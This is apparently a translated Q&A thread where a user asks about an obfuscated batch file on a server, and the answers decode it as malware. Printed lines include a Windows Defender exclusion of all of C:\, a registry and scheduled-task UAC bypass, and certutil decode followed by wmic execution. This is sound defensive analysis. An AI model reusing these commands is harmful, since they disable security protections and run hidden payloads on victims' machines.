如何解码包含中文字符的批处理文件的内容

如何解码包含中文字符的批处理文件的内容

我有一个批处理文件,里面有很多中文字符,如下所示。当我运行它时,文件被删除了。有人知道如何解码内容是什么以及它在做什么吗?

在此处输入图片描述

部分文字:

挦獬਍╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶⁦ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏਍爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⁲爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⵲爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†਍湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗㄰⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞⁥ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥⁥
ഠ爊╥㩲ㅾㄬ‥摡⁤爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠⁦瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠⁤≞╣㩲ㅾⰲ┱⹤硥⁥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†਍爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣

自从第三方安装以来,它一直是服务器上的批处理文件,但现在他们已经破产了,我们正试图弄清楚到底发生了什么

当我们运行文件时,我们得到:

Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

它没有翻译任何东西,所以它可能不是中文,但这主要是因为我的无知

我也尝试使用,iconv但文件仍然相同

iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt

当我运行strings它时,我得到了一些可读的内容

certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions

在十六进制编辑器中,我得到了下面的内容,虽然它的可读性更强,但看起来仍然很乱

在此处输入图片描述

答案1

该文件实际上具有常规 ASCII 文本(或 Windows-125x)。

它只是看起来有点像包含一些中文字符的 UTF-16,因为开头的一些精心选择的字节能够欺骗file其他字符集检测软件。(您的屏幕截图显示文件以 FF FE 开头,即 UTF-16LE 中的 U+FEFF“字节顺序标记”。)

但是我将你的例子存储为 UTF-16 LE,然后让我的文本编辑器直接将这些字节解释为 ASCII 或 Windows-1252 – 不是转变但实际上将文件以 cp1252 的形式打开,就像十六进制编辑器一样 - 然后我得到一个常规的 Windows Cmd 批处理脚本:

&cls
@%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f  
^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%  
SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O 
%r:~8,1%e%r:~4,1% na%r:~12,1%e = %r:~10,1%a%r:~4,1%c%r:~11,1% o%r:~10,1%%r:~13,1%%r:~8,1%ca%r:~4,1%or %r:~10,1%y %r:~12,1%oo%r:~12,1%825 
%r:~8,1%e%r:~4,1% %r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1% = %r:~11,1%%r:~4,1%%r:~4,1%p%r:~8,1%://%r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1%.co%r:~12,1%/%r:~12,1%oo%r:~12,1%825/%r:~10,1%a%r:~4,1%c%r:~11,1%-o%r:~10,1%f%r:~13,1%%r:~8,1%ca%r:~4,1%or-%r:~12,1%ade-%r:~2,1%n-py%r:~4,1%%r:~11,1%on  
^n^e%r:~4,1%^1^ %r:~8,1%^E%r:~8,1%%r:~14,1%%r:~16,1%o^N >^NU^L 2>&1  
^%r:~2,1%F %eRRORLeVEl% == 0 (  
Po^%R:~9,1%ER^%R:~14,1%%R:~11,1%^E^L^l/W 01 /ep 0^/^n%R:~17,1%^p^/c ^"^Ad^D-^M^pPr^EFe^R^En^Ce ^-^E%R:~6,1%^cl%R:~13,1%%R:~14,1%^%R:~16,1%o^N^Pa%R:~4,1%%R:~15,1% '^C:\' -^f^oRC^E;e^%R:~6,1%^%R:~2,1%%R:~4,1% "  
) EL%r:~8,1%^e (  
re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v %r:~9,1%%r:~2,1%nd%r:~2,1%r /%r:~4,1% RE^%r:~5,1%_%r:~14,1%Z^ /d ^"c%r:~12,1%d.exe /c %r:~8,1%%r:~4,1%ar%r:~4,1% \"\"^ /%R:~12,1%%R:~2,1%^n \"%~F0\">^N%r:~13,1%L 2>&1  || ^%R:~14,1%^vc%R:~15,1%%R:~17,1%%R:~8,1%%R:~4,1%^" >N%r:~13,1%^L 2>&1  
%r:~14,1%c%r:~15,1%TA%r:~8,1%k%r:~8,1% /RUN ^/Tn \M%r:~16,1%cr

(通常,相同的字节可以用几种方式读取 - 例如,如果读取为 UTF-16 LE,则两个字节2c 31表示字符“ㄬ”,,1如果读取为 ASCII,则表示字符。例如,您会在编辑器中经常看到“㩲㉾ㄬ”,因为它实际上是r:~2,1批量变量扩展的一部分。)

这些“胡言乱语”一个标准的批处理文件,只是有些模糊——你正在查看大量的%variable:~start,length%变量扩展;来自变量的特定字符%PUBLIC%被重新组合成%R%,然后是特定字符变量用于构建命令。但是,例如,

re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v

显然意味着reg add HKCU\Environment /f /v

通过猜测¹建立大部分内容%R%并删除大量多余的^转义字符后,结果是:

&cls
@ECHo off  
cLs  
SEt R=JgigtGXzswbhmuSHIO 
set name = batch obuscator by moom825 
set github = https://github.com/moom825/batch-obfuscator-made-in-python  
net1 sEsSIoN >NUL 2>&1  
iF %eRRORLeVEl% == 0 (  
PowERShELl/W 01 /ep 0/nOp/c "AdD-MpPrEFeREnCe -EXcluSIoNPatH 'C:\' -foRCE;eXit "  
) ELse (  
reg add HKCU\Environment /f /v windir /t REG_SZ /d "cmd.exe /c start \"\" /min \"%~F0\">NuL 2>&1  || SvcHOst" >NuL 2>&1  
ScHTAsks /RUN /Tn \MIcr

它做的第一件事是非常可疑 – 使用 检查其是否具有管理员权限后net1 session,它会将整个 C:\ 驱动器添加到 Windows Defender 的排除列表中。(在“其他”情况下,它可能会尝试通过任务计划程序提升自身权限,以此绕过 UAC。)

根据初始代码片段,可能能够对其余部分进行反混淆:

#!/usr/bin/env perl

my %vars = (
    public => "C:\\Users\\Public",
    r => "JgigtGXzswbhmuSHIO",
);

while (<>) {
    s/%(r|public):~(\d+),(\d+)%/substr($vars{lc $1}, $2, $3)/ige;
    s/\^(.)/$1/g;
    print;
}

¹(我在 Linux 上这样做了,但没有意识到 %PUBLIC% 实际上是所有 Windows 系统上都存在的默认变量……)

答案2

根据我所看到的现有文本判断,我认为这是 John Hammond 的 CTF 挑战(https://ctftime.org/task/17327)。我很确定 John 是根据病毒样本发起挑战的,所以要么是因为某种原因,你的服务器上有 John 的 CTF(无害),要么是你的服务器上有原始样本(可能有害)。

该病毒使用任务计划程序 UAC 绕过方法绕过 UAC(用户帐户控制),(我现在基于 John 的 CTF)然后禁用所有 Windows Defender,然后它将写入一个 base64 编码的 exe C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,然后它将使用具有 base64 解码功能的 Windows 实用程序“certutil”。因此,总的来说,这个批处理文件将获取管理员权限,禁用 Defender,然后将有效负载写入启动以增加持久性,然后解码有效负载并运行它。

我强烈建议不要运行它!

相关内容